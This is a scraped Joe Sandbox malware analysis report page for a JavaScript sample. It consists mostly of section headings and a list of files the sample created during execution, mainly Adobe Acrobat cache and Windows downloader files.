Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1534283901292319457.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b387ff5f-bbb7-44b2-930a-5064da0c816c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7772

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
1534283901292319457.js